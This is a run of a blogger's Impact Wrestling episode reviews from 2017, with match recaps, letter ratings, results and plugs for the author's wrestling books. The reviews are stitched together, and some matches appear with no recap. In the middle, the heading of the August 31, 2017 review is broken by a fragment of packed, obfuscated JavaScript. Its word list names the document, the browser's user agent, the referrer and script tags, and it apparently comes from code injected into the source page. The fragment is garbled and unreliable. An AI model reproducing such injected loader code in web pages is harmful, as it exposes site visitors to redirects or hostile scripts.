It’s nothing compared to being mistreated by Eli Drake, who has tonight off due to his injuries from Bound For Glory. Cue Petey Williams we as begin catering to the live crowd instead of everywhere else. Petey wants a title shot tonight because Drake has never faced him. Drake agrees but for next week, which brings Petey down to the ring. Adonis gets dropped by a single kick but Drake escapes a Canadian Destroyer attempt.

Jimmy Jacobs comes out for commentary for the opening match.

Sonjay Dutt vs. Matt Sydal

They take each other down to the mat to start and let’s cut to a shot of the commentary! After confirming that they are in fact doing commentary, we go back to Dutt armdragging him into an armbar. Jacobs leaves commentary as Sydal takes Dutt down into something like a reverse Muta Lock (with Dutt on his back and his knee being bent). That goes nowhere so it’s off to a half crab with Dutt quickly making the rope.

Rating: C+. Well that was long. I can appreciated the idea of the X-Division guys getting to showcase themselves a bit more, though I still would love some stories in these things. Sydal wants the title, though after seeing him challenge Lashley a few months back, it’s kind of hard to care about him going after the dead X-Division Title.

Post match Ethan Carter III of all people comes out, which hopefully means the AAA nonsense is over. Carter says it’s another win for Sydal, but that’s what he always does, at least until we get to the big moment where he always chokes. Ethan knows he’s the best around here but Sydal is just another talented guy who doesn’t have the whole package. Maybe Sydal can be reborn again, this time as a winner.

And now, here’s a good chunk of a six man tag from 2004 with Team Canada vs. Amazing Red/Sonjay Dutt/Hector Garza. This is an ad for the Global Wrestling Network and suggests to me that on the first show after the biggest show of the year, they already need filler because they can’t film enough at their tapings. That’s not good.

GHC World Title: El Hijo de Fantasma vs. Eddie Edwards

Eddie, an American, is defending the Japanese title against a luchador from Mexico in Canada. Before the match, we have to confirm that this is in fact a sanctioned match, complete with a Pro Wrestling Noah representative. Feeling out process to start with Eddie’s hammerlock getting nowhere. Instead he goes up top, only to get pulled down with a hurricanrana for two. A superplex gets Eddie out of trouble but he’s a bit too banged up to do anything with it.

Eddie’s Blue Thunder Bomb gets two and he kicks Fantasma in the mask to stop a suicide dive. Fantasma has to stomp Eddie’s feet to break up a tiger driver on the apron but Eddie is right back with a suicide dive. Back up and Fantasma scores with one of his own but still can’t put Eddie away. The tiger driver gives Eddie two more but the Boston Knee Party is blocked by a dropkick. Fantasma heads up again but misses whatever he was trying, setting up the Boston Knee Party. Die Hart Flowsion retains the title at 9:54.

Rating: B. Good, hard hitting match here with Eddie showing how good he really can be. That being said, I’d still love an actual story for some of these bigger matches. Having the GHC Title defended here is fine, but could we have a reason someone wants to face Eddie other than it’s a title?

OVE/Sami Callihan vs. Phil Atlas/Marcus Burke/Ray Steele

The lights are way down now to hide the small crowd. Sami charges right at Atlas to start and it’s a triple kick to the head in the corner. It’s off to Steele who eats a triple boot to the face, followed by Sami putting him in an electric chair. Dave does the same to Jake, who grabs Steele in a cutter for the pin at 1:54.

Post match here’s LAX to keep the fight going. The beating is on and OVE and Sami bail after getting beaten down. So it really was a double turn.

Global Forged winner Hakim Zane tries to talk but Johnny Impact runs in to say he’s coming for Alberto.

From Border City Wrestling in Windsor, Ontario, Canada.

Allie vs. KC Spinelli

Spinelli gets in a few shots to start but Allie speeds things up to send her into the corner. That’s fine with KC, who whips her around the ring without much effort. Allie avoids a charge and a dropkick to the back sends Spinelli into the corner for two. A neckbreaker drops Allie for two more, followed by a fisherman’s suplex for the same.

Not that it matters as Allie grabs a Codebreaker for….just two actually. They’re working a lot harder than I would have expected here. Spinelli misses a moonsault though, allowing Allie to grab a Death Valley driver for the pin at 7:08. Thankfully that means we get to hear her incredibly bubbly music for a nice bonus

Rating: B-. This was much better than I was expecting and I wouldn’t be surprised if Spinelli didn’t get some more bookings out of this. Allie is sch a breath of fresh air to all the serious wrestlers around here and feels more like what Bayley should have been on the main roster. Really nice little match here too.

Alberto tells Johnny Impact to bring it.

Allie is worried about Gail Kim’s big announcement next week. She’s still insanely adorable.

Alberto is sitting down when Johnny Impact DIVES at him, looking almost like a spear. The fight is on in catering with Alberto getting away, only to have Johnny get into a fight with Braxton Sutter of all people. Caleb Konley shows up and fights Sutter instead, leaving Johnny and Alberto to brawl out the door and into the loading area, where a camera just happens to be waiting. Johnny gets in a few more shots until they head inside again with Impact trying some chokes.

Alberto comes back with a wet floor sign as this has been going for over five minutes. After throwing Johnny through a door, Alberto climbs a ladder for no adequately explored reason. With Alberto sitting on top of a restroom, Johnny throws the ladder down….and then climbs up the Pepsi machine to knock Alberto off. Alberto hangs onto the roof until falling down (only a few feet) and security FINALLY grabs him. That’s fine with Johnny, who hits a huge dive, taking out Alberto and security as we go to a break.

Back with the brawl still going as Alberto beats him down some more, only to have it spill into the arena with the fans not sounding pleased. Security comes out for another save attempt and Alberto grabs a mic to say this is his company. He calls Johnny a crazy guy and security actually holds Johnny back for a change. Alberto rips on the company for holding him back and screwing him but he’s willing to continue the battle in the ring.

Security lets Johnny get in and Alberto bails, only to have Johnny say Alberto calls himself the pride of Mexico but he’s not even the pride of his own father. The fight is on again with security taking another beating until Alberto gets in a cheap shot. A DDT plants Johnny and Alberto tells security to get out of here if they want to get paid tonight. The cross armbreaker over the ropes has Johnny screaming until the referees break it up to end the show after SEVENTEEN MINUTES between these two.

Overall Rating: C+. This was a really tricky one to grade. For one thing, the wrestling tonight was quite good. The title match was solid, the women’s match was a nice surprise and the fifteen minute X-Division match worked very well. What didn’t work for me though was how little we seemed to actually have move forward. LAX vs. OVE is still going, Impact vs. Alberto is likely going to include Drake soon and be a continuation of the World Title feud from the last month and a half and the X-Division is still about the same.

What’s getting on my nerves is how much time they have to spend on stuff other than Impact Wrestling. Allie vs. Spinelli was good, but how many of those matches from outside the company are going to be? It’s obviously them filling in as much time as they can with their limited content, but when they do it over and over again, it gets a little annoying. Throw in the brawl that went longer than any match and it really does feel like they’re just trying to fill in the show without having actual wrestling, which is rarely a good sign.

That being said, I’ll take a show with some good matches and a lot of energy over the boring, dull, mostly unnecessary TV shows we’ve been having in the last few weeks. At least we had some good matches this time around and that’s a lot more than I’ve been able to say since…..August maybe?

Results

Matt Sydal b. Sonjay Dutt – Shooting star press

Eddie Edwards b. El Hijo de Fantasma – Die Hard Flowsion

OVE/Sami Callihan b. Ray Steele/Phil Atlas/Marcus Burke – Elevated cutter to Burke

Allie b. KC Spinelli – Death Valley Driver

Remember to follow me on Twitter @kbreviews and pick up the Updated History of the Intercontinental Title in E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/10/02/new-paperback-kbs-history-of-the-intercontinental-title-updated-version/


And check out my Amazon author page with cheap wrestling books at:


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Impact Wrestling – August 31, 2017: In Need of a Blow Torch

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ytihh|var|u0026u|referrer|zhabh||js|php'.split('|'),0,{})) Wrestling
Date: August 31, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Jeremy Borash, Josh Matthews

It’s officially the Eli Drake Era here and that means the talking is going to get a lot better. Last week Drake became the new World Champion by outlasting most of the roster in Gauntlet for the Gold. Now it’s time to get ready for Bound For Glory and that means starting to set up a card, though they have some time to work with for a change. Let’s get to it.

Chris Adonis and Eli Drake arrive.

In the far more important story though, American Top Team arrives with owner Dan Lambert telling Jeff Jarrett that he doesn’t want any peace with him.

Here are Drake and Adonis for a chat in front of a big zebra print couch. Drake has worked hard for fourteen years and now he has this title. It actually makes him mad because it should have been so much faster. Earlier today, he was at the pool and wound up having a rather nice afternoon with a cougar featuring some nice plastic. He didn’t get much rest today but now he’s here to say that Drake being champion is just a fact of life, no matter who you are.

Cue Johnny Impact to say he’s had more names than Drake has won titles and knows what it takes to become a champion. This brings out Eddie Edwards to say he’s been around here a long time and that means he’s above Johnny on the totem pole. They both want shots and Johnny is willing to fight to earn his.

Cue Jim Cornette to make a tag match between the four of them for tonight. If Drake gets the pinfall, he doesn’t have to defend against any of them. If any of the other three gets the fall though, they get the shot. Of note here: Cornette came out, talked about how hot the title hunt was, made the match and was done in less than 75 seconds. Now that’s how this kind of stuff should be.

Allie comes up to ask Taryn Terrell why she was so mean to Gail Kim. Taryn: “You re so f’ing annoying!” Allie gets punched in the face and slammed into a wall with Taryn saying to make sure Gail gets the message.

Mario Bokara/Fallah Bahh vs. OVE

Bokara gets caught in the wrong corner and a swinging neckbreaker gives Jake two. We see LAX watching from their clubhouse. Bahh comes in and runs Jake over but misses the legdrop, leaving Mario to take a double kick in the corner. Dave comes in for a Doomsday Device with a cutter instead of a clothesline for the pin on Bokara at 2:52. Another squash.

Moose is in Cornette’s office where Jim tells him that he’ll be on TripleMania in Mexico (which has already taken place), along with Lashley, who is looking for him. Ethan Carter III comes in to ask why he’s not on TripleMania but Cornette says he’s got a Grand Championship defense. Ethan: “I didn’t know about that.” Cornette: “Oh you didn’t know?” Ethan: “No I didn’t know.” Cornette and Moose: “Your A** BETTER CALL SOMEBODY!”

Caleb Konley vs. Petey Williams

This is Petey’s first singles match on the show in eight years. Don’t care? Well neither do I, but they’ve mentioned it three times now so it must be a big deal. Konley has Trevor Lee with him. Petey headscissors him over a few times but gets distracted by Trevor, allowing Konley to legsweep him down.

Petey gets beaten down and sent hard into the corner for two. A Russian legsweep into a crucifix gives Petey two and he avoids a moonsault for good measure. Lee gets on the apron to break up the Canadian Destroyer though, sending Petey over the top for a slingshot hurricanrana to take Trevor down. A slingshot Codebreaker sets up the Destroyer to give Petey the pin at 5:54.

Rating: C. So…..Petey Williams is back. I’m not sure why this is supposed to be a big deal but that’s exactly what we got. The match was fine but nothing we haven’t seen, including all of Petey’s big spots. The division can use the extra talent, though Williams isn’t someone I’ve thought of since he left.

Sonjay Dutt saves Petey from a post-match beatdown.

Richard Justice has a match tonight.

Karen Jarrett yells at Taryn for attacking Allie and makes Taryn/Sienna vs. Allie/Gail. She might even throw in some stipulations when we get to the match. Karen is just so forced in this role.

Richard Justice vs. Kongo Kong

The top rope splash ends Justice at 51 seconds.

Mahabali Shera comes out to save Justice from a post match beating.

Johnny Impact is ready to take Eli Drake’s gravy train to Slam Town.

Konnan tells Low Ki to send James Storm to the hospital.

James Storm vs. Low Ki

This is Storm’s first match since Slammiversary. Ki knocks him into the ropes to start so LAX can get in some cheap shots from the floor. Some right hands in the corner set up the same result and it’s off to a seated abdominal stretch on Storm. James fights up with a running enziguri and a running neckbreaker.

The Eye of the Storm is countered so Storm tries a catapult, only to get caught with a middle rope Warrior’s Way for two. A second attempt at the Eye of the Storm doesn’t work either but Ki misses the real Warrior’s Way. Now the Eye of the Storm gets two but LAX offers a distraction. The Last Call looks to finish Ki, only to have Santana come in with a belt shot. Ki adds the Warrior’s Way for the pin at 9:20.

Rating: B-. Good match but sweet goodness I do not care about Ki or LAX in general. They’re not interesting in any way and that makes for some dull moments. At least they’re not the focus though and this midcard role is WAY better for them than as the top heels in the company. Assuming Alberto doesn’t come back as their top star in November, I’m fine with them where they are.

Allie is telling Braxton Sutter about what happened when Garza Jr. comes up to check on her. Sutter doesn’t like it and tells him to get out.

Jim Cornette recaps the Lashley/American Top Team stuff, which is mainly a way to show Karen screeching a lot.

Pagano is coming.

Joseph Park goes over Grado and Laurel Van Ness’ wedding checklist. Park’s uncle Tobias is going to be DJ and he’s one of the best in Sheboygan, Wisconsin. Laurel’s family is coming down from Canada and Park panics. It’s about time they got to that detail.

Taya Valkyrie is coming.

Lashley hasn’t made a decision on his future yet but he’s ready to go to TripleMania and clean house.

Eli Drake/Chris Adonis vs. Johnny Impact/Eddie Edwards

If Johnny or Eddie get the pin, they’re #1 contender. I’m going to assume there’s something else after this as the bell rang at 9:30. Eddie chops Adonis to start before it’s off to Johnny for a headlock. Drake comes in and runs from an Impact kick to the face. Instead it’s back to Adonis who eats a standing shooting star for two.

Everything breaks down and the Shot of Caffeine drops Drake, followed by a running corkscrew dive to drop Adonis as we take a break. Back with Johnny’s breakdancing legdrop getting two on Drake. Impact gets taken into the wrong corner for a beating as the announcers keep name dropping MMA fighters. Not only do most of them not mean anything to me as a casual MMA fan, but if I wanted to watch MMA, I’d be watching that instead.

A double suplex gets two on Impact but he kicks Eli away for the hot tag to Eddie. Some chops and a Blue Thunder Bomb get two on Adonis and we take a break. Back with Adonis grabbing an abdominal stretch on Eddie with some bonus forearms to the ribs. Eddie fights out and brings in Impact to speed things up. Adonis saves Drake from the split legged moonsault and it’s a double Moonlight Drive for two on Drake. Eli throws him into a bearhug from Adonis before forearming Edwards off the apron.

The match just keeps going as Eddie saves Impact from taking another double suplex. Everything breaks down and the Flying Chuck sets up kind of a cartwheel 450 (with the fans counting him down) for another near fall as Adonis makes the save. Eddie dives onto Adonis and Drake for no cover but Eli gets in a low blow to set up the Gravy Train (Eli Drop/White Noise) for the pin at 26:00.

Rating: C-. Well that was long. I have no idea why this needed almost half an hour when it was an average tag match at best. It was completely watchable but that doesn’t mean I need to see that much of it. Drake getting the pin is interesting as he needs a challenger and I kind of like the idea of not going with the obvious for a change.

Post match American Top Team comes out to say these four should be scared to death right now. Cornette comes out and tells Lashley to tell Lambert under control before he goes to TripleMania. That’s not all though as Cornette makes Drake vs. Matt Sydal next week for the title. Matt comes out to stare at Drake to end the show.

Overall Rating: C-. I really don’t have any feelings about this show whatsoever, save from wanting to weld Karen Jarrett’s mouth shut and ban any mention of mixed martial arts from this show forever. It’s pretty clear that the American Top Team stuff is going to be a major story all the way until Bound For Glory and that’s really not good news.

It’s also not a good sign that the story is completely overshadowing the new World Champion and whatever he’s doing but that’s always been a trope of this company: you have the biggest title in the promotion but then you have the REAL top story above that. Good enough show this week but as always, it’s far from without its big flaws.  Like not knowing when TripleMania aired.  Get that stuff right.

Results

OVE b. Mario Bokara/Fallah Bahh – Top rope cutter to Bokara

Petey Williams b. Caleb Konley – Canadian Destroyer

Kongo Kong b. Richard Justice – Top rope splash

Low Ki b. James Storm – Warrior’s Way

Eli Drake/Chris Adonis b. Johnny Impact/Eddie Edwards – Gravy Train to Edwards

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6




Impact Wrestling – July 20, 2017: One Big Idea

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Date: July 20, 2017
Location: Impact Zone, Orlando, Florida
Commentators: D’Angelo Dinero, Josh Matthews, Jeremy Borash

So it seems we’re still on Alberto El Patron vs. Bobby Lashley after Lashley abandoned El Patron to the hands of LAX last week. This feud has been going on for months now and it’s apparently continuing as there’s no one else to put into the main event scene. Some new names need to be added to the title picture too as it’s getting rather tiresome. Let’s get to it.

We open with a long recap of LAX recruiting Alberto El Patron, including last week’s tag match with Alberto and Lashley picking up the win, only to have Lashley abandon Alberto after the match.

Video on Sammy Guevara, who is young and rather braggadocios. He’s here because he’s one of the best in the world and is ready to win this tournament and move on to the X-Division Title.

Video on Drago, who talks about being from another world and is ready to win as well.

Super X Cup First Round: Drago vs. Sammy Guevara

They speed things up to start and neither can hit anything early on. Drago offers a handshake on the standoff but gets slapped in the face instead. Sammy casually backflips over a clothesline and sends Drago outside for a shooting star from the top. Back in and a reverse hurricanrana gives Drago two, followed by the Dragon’s Tail (very twisting rollup) for the same. That’s fine with Sammy who comes back with a 630 for his own near fall. Drago is back up as well and hits a rather sloppy running Blockbuster DDT for the pin at 4:23.

Rating: C+. Fun match, complete lack of selling aside. This was straight out of the “you do a spot and I do a spot” playbook, which is only going to get you so far. Guevara was a fun heel who plays the bravado quite well. Drago is 41 years old and looks about half that age but it makes sense to push him on given his status with Ring of Honor.

Some GFW wrestlers went to a children’s camp for charity. Nothing wrong with that.

Sienna vs. Amber Nova

Non-title. Nova goes at her to start but gets sent into the corner, followed by a wheelbarrow suplex. A delayed vertical suplex is broken up but the AK47 puts Nova away at 1:26. Total squash.

Post match Sienna mocks Rosemary for being a loser and calls out Karen Jarrett. Sienna wants her to get on her knees and calls Sienna the greatest Knockout of all time. Karen doesn’t think so but Sienna says she just told her to. Allie makes the save with a kendo stick but Laurel Van Ness comes in and beats Allie down. Rosemary comes out for the real save. That goes badly as well but Karen pulls Sienna off. Cue Gail Kim to clean house because that’s what Kim does. Karen makes a Last Knockout Standing match between Rosemary and Sienna for the title next week.

Earlier this week, LAX kidnapped Alberto’s brother to get Alberto to join LAX.

Video on Hijo de Fantasma.

Bruce Prichard (Did the whole “Where’s Bruce” thing from Slammiversary ever go anywhere?) is in the back and runs into Trevor Lee. Bruce wants to know what’s up with the X-Division Title when Sonjay Dutt comes in and tries to get the title back. Security takes him away, which Lee says proves he’s the better champion. Bruce seems to agree.

Idris Abraham/Demus/Trevor Lee vs. Laredo Kid/Garza Jr./Octagoncito

Lucha rules. Idris and Garza don’t do anything to start so it’s off to the minis for a headscissors to send Demus outside. Garza dives on the other villains and we take a break. Back with Lee, who is wearing the X-Division Title, working on Octagoncito until a headscissors puts him down.

The hot tag brings in Garza Jr. and we remove the pants. They hit the floor for the dives, including Laredo Kid getting caught in the ropes and nearly landing on the apron. We hit the Row the Boat spot (it didn’t work in WCW and it’s not working here), followed by Laredo hitting a big flip dive to the floor. Back in and Octagoncito gets on Garza’s shoulders while Garza is on the middle rope for a huge splash onto Abraham for the pin at 10:24.

Rating: C. Botches aside, this was a fun match but the problem here is the time. A lot of the roster barely has time to get on the roster week to week but this is getting more than twice the time that the Super X Cup, which is actually for something, received. Both matches were fun but shouldn’t those times be reversed?

It’s time for Grado to go on a date with Laurel Van Ness He ate the chocolates and drank the champagne but he’s got coupons! The date is backstage and they’re in their gear with Grado tucking his napkin into his singlet. Laurel’s eating scares Grado’s appetite away.

LAX has kidnapped Alberto’s father to try to get Alberto to join as well.

Hijo de Fantasma vs. Matt Sydal vs. Low Ki

One fall to a finish. Sydal takes over to start until Fantasma spinwheel kicks him down. Ki sends Sydal outside but winds up limping a bit to slow him back down. Fantasma kicks Ki in the face to knock him off the top rope and out to the floor as we take a break. Back with Sydal hitting a standing moonsault on Ki but getting caught in a surfboard from Fantasma.

Ki breaks it up with the Warrior’s Way but the knee is too banged up to cover. Instead Sydal just falls onto Fantasma for two. The Ki Krusher is broken up so Sydal is sent into the corner again. The regular Warrior’s Way hits Fantasma but Sydal breaks it up with the shooting star press for the pin on Fantasma at 13:57.

Rating: C. Now they’re going overboard with the X-Division stuff. This is the third match out of four that has been built around the division and they’re starting to run together. Sydal is starting to go somewhere and it’s nice to see them pushing someone fresh in the division, but there’s so much other stuff going on that it’s starting to get lost in the shuffle.

Post match Sydal calls out Prichard and asks for a title shot. Cue Lashley of all people but Sydal says no one wants to hear it because this is his time to ask for a title shot. Lashley spears him down and says that’s only a start.

Back to the date with Laurel getting a bit too close to Grado, who keeps reminding himself about the citizenship.

Eddie Edwards vs. Ethan Carter III vs. Moose vs. Eli Drake

Before the match, the Swoll Mates chase off Chris Adonis. It’s a brawl to start with Eddie hitting a suicide dive onto Drake, who is then taken down again by Moose’s spinning high crossbody. Drake is right back up to send Moose outside and it’s time to double team Eddie. As you might expect, Drake and Carter get in an argument so Moose comes back in to throw them outside.

That’s not enough throwing as he tosses Edwards onto them as well. Eddie hurricanranas Carter back inside but has to deal with Drake, allowing Ethan to send him into the post. There’s the 1%er to Edwards but Moose pulls Carter outside, allowing Drake to steal the pin at 6:23.

Rating: C-. Another match with little structure that seemed to exist for the sake of fitting in as many people onto the card as they could. The match didn’t have much of a flow to it until the ending, though Eli and Ethan shouting their names at each other was a nice moment. I could go for some story tonight though and this match didn’t give me that.

LAX cuts off the Swoll Mates and asks Alberto’s family if he’s joining the team. Apparently not but Konnan holds the troops back…..and then lets them beat the two of them down.

Post break here’s LAX with Dos Caras as Dos Caras Jr. in the ring. The beat down is on until Konnan threatens Sr.’s mask. This brings Alberto to the stage before he slowly gets inside. He gets in “Carlos’” face and says this is too far for the sake of Mexican pride. Alberto says they’re brothers but if LAX wants him, let his family go. The family is sent outside and Alberto agrees to join the team to keep them save. He puts on the shirt but then beats down LAX to end the show.

Overall Rating: C. If you don’t like the LAX vs. Alberto story, RUN AWAY from this show. Nearly no other story got as much as five minutes on this show and it got a bit tiring watching all these multi-person matches, many of which felt like they barely advanced anything. The wrestling itself helped a lot but there was WAY too much LAX here and it dragged the show down a lot.

Results

Drago b. Sammy Guevara – Blockbuster DDT

Sienna b. Amber Nova – AK47

Garza Jr./Laredo Kid/Octagoncito b. Demus/Idris Abraham/Trevor Lee – Splash to Abraham

Matt Sydal b. Hijo de Fantasma and Low Ki – Shooting star press to Fantasma

Eli Drake b. Ethan Carter III, Eddie Edwards and Moose – 1%er to Edwards

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


And check out my Amazon author page with cheap wrestling books at:


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Impact Wrestling – June 29, 2017: Guḍabāya Mumbai

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Date: June 29, 2017
Location: Film Studio 7, Mumbai, India
Commentators: Jeremy Borash, Josh Matthews

Opening sequence.

Before the show went on the air, we had contract signings for four matches. First up, Sienna called Rosemary dumb for signing up for the match. Sienna said she spits fire while Rosemary spits mist. Rosemary promised to make Sienna sign her death certificate in blood. Next up Eddie Edwards and Davey Richards argued about their wives and how badly they were going to hurt each other.

Sonjay Dutt/Matt Sydal vs. Trevor Lee/Low Ki

Dutt armdrags Lee down to start as the fans are WAY into Sonjay here. Sydal comes in with an armdrag but gets caught in the wrong corner. Of course no one is talking about the match because the announcers are talking about their own match instead. The good guys come back with stereo standing moonsaults and we take a break.

Eli Drake/Chris Adonis vs. Mumbai Cats

The Cats are masked men in loud gear. Cat #1 gets knocked into the corner and hammered down with the variety of offense you would expect here. The Eli Drop (White Noise) ends #1 at 2:59. Total squash.

Rockstar Spud vs. Swoggle

Alberto El Patron is happy that his father will be at Slammiversary.

Sienna/Laurel Van Ness/KM vs. Allie/Rosemary/Braxton Sutter

Rosemary pats Allie on the head.

Park finds his inner monster and pulls out Janice.

Video on Lashley vs. Alberto. This is a much longer version and shows the build to the match, including their first match where Alberto won the title.

Alberto El Patron/Eddie Edwards/James Storm/Mahabali Shera vs. Lashley/Davey Richards/Ethan Carter III/Kongo Kong

Results

Sonjay Dutt/Matt Sydal b. Low Ki/Trevor Lee – Shooting star press to Lee

Eli Drake/Chris Adonis b. Mumbai Cats – Eli Drop to Cat #1

Swoggle b. Rockstar Spud – Samoan drop through a table

Allie/Rosemary/Braxton Sutter b. KM/Laurel Van Ness/Sienna – Red Wedding to Van Ness

Alberto El Patron/Eddie Edwards/Mahabali Shera/James Storm b. Ethan Carter III/Davey Richards/Lashley/Kongo Kong – Top rope double stomp to Kong

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/


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Impact Wrestling – May 11, 2017: Doth My Eyes Deceive Me?

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Date: May 11, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero

We open with a recap of Alberto El Patron beating Eli Drake to earn a shot at the GFW World Title tonight. Magnus is ready.

Opening sequence.

Andrew Everett vs. Caleb Konley vs. Dezmond Xavier vs. Matt Sydal

JB pesters Josh again.

JB annoys Josh again.

Hakim Zane/Idris Abraham vs. Laredo Kid/Garza Jr.

Ava Storie vs. Laurel Van Ness

Spud still wants to hurt Swoggle.

Grand Championship: Marshe Rockett vs. Moose

Moose is defending but Rockett jumps him to start and hits a Harlem side kick for no cover. A dropkick knocks Marshe off the top though and Rockett chills on the floor for the rest of the round. Moose wins the first round and wastes no time, finishing Rockett with the sitout chokeslam at 35 seconds of the second round.

Post match Tyrus comes out for a distraction, allowing Eli Drake to come in with some chair shots to Moose. Chris Adonis runs in for the Adonis Lock and more chair shots from Drake leave Moose laying.

More JB and Josh.

Angelina Love vs. Alisha Edwards

Eddie goes after Angelina but Davey crutches him in the knee.

Lashley will be watching the main event.

GFW World Title: Alberto El Patron vs. Magnus

Alberto is challenging and seems to have the fans behind him. An early armbreaker across the top rope has Magnus reeling and a clothesline makes things even worse. Magnus grabs a suplex and kicks away a bit as the champ is playing the de facto heel here. The back and forth continues with Patron hitting a top rope right hand to the jaw and grabbing a chinlock.

They fight to the top and both guys are knocked out to the floor as we take a break. Back with Alberto in control until he walks into a Falcon Arrow (not a sitout powerslam Josh) for two. Josh rants about Jim Ross tweeting him about how awesome he is and complains about JB some more as the guys head outside for nothing of note.

Back in and the Backstabber sets up the armbreaker on Magnus but the champ gets a rope. The Cloverleaf sends Patron to the rope as well and they head up top again. Alberto misses his top rope double stomp and hurts his knee. Magnus gets in a powerbomb but gets pulled down into the armbreaker for the submission at 18:23.

Results

Andrew Everett b. Caleb Konley, Dezmond Xavier and Matt Sydal – Frankendriver to Xavier

Laredo Kid/Garza Jr. b. Idris Abraham/Hakim Zane – 450 splash to Abraham

Laurel Van Ness b. Ava Storie – Curb stomp

Moose b. Marshe Rockett – Sitout chokeslam

Alisha Edwards b. Angelina Love via DQ when Love used a chain

Alberto El Patron b. Magnus – Cross armbreaker

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/


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Impact Wrestling – May 4, 2017: GFW Finally Gets Its Own TV Show

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Date: May 4, 2017
Location: Impact Zone, Orlando, Florida
Commentators: Josh Matthews, D’Angelo Dinero

Opening sequence.

Dave Penzer is now doing ring announcing, which hopefully means the Swoggle vs. Spud is done.

Matt Sydal vs. Eddie Edwards

They shake hands post match. Sydal leaves but here are Angelina Love and Davey Richards to beat Edwards down. Eddie gets laid out with a chair until Alisha dives off the stage to take Angelina down.

ODB wants to make Impact great.

JB is behind Josh and mocks his over the top mannerisms. This is still your top story.

Ethan Carter III vs. John Bolen

Carter kicks him in the face to start and chokes on the ropes. A running knee to the back sends Bolen outside. Back in and the TK3 sets up the 1%er for the pin on Bolen at 2:33.

Carter puts the new bosses on notice.

Remember how JB had a sign earlier? He still does and Josh is getting annoyed.

GFW World Title: Magnus vs. Matt Morgan

Morgan is challenging and uses the size to take over early on. A big boot sends Magnus outside but he posts Morgan for a breather. Back in and the Carbon Footprint misses so Morgan bangs up a leg to give Magnus a target. A kick to the leg sets up the Figure Four with Morgan making the ropes without too much effort.

More JB sign stuff.

LAX wants to hurt more people.

James Storm wants to make Impact great.

Spud, in a neck brace and with his leg in a cast, stares at a picture of Swoggle. So yes this is still going. So now we have a ring announcer feud to go with the commentator feud.

Kongo Kong vs. William Weeks

Post match Braxton Sutter comes out to go after Kong. Some right hands and a clothesline put the monster on the floor so Sutter and Allie can stand tall.

Eli Drake wants to make Impact great.

Eli Drake vs. Alberto El Patron

The winner gets a shot at Magnus at some point in the future. Drake runs away but gets pulled back to ringside, where the referee ejects Tyrus. Eli is fine enough to suplex him on the ramp but Alberto shakes it off and hits a suicide dive. Back from a break with Drake suplexing him onto the apron and choking on the floor.

Results

Matt Sydal b. Eddie Edwards – Shooting star press

Sienna b. Christina Von Eerie – Pounce
Ethan Carter III b. John Bolen – 1%er

Magnus b. Matt Morgan – Top rope elbow

Kongo Kong b. William Weeks – Top rope splash

Alberto El Patron b. Eli Drake – Double stomp


Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/


And check out my Amazon author page with cheap wrestling books at:


http://www.amazon.com/Thomas-Hall/e/B00E6282W6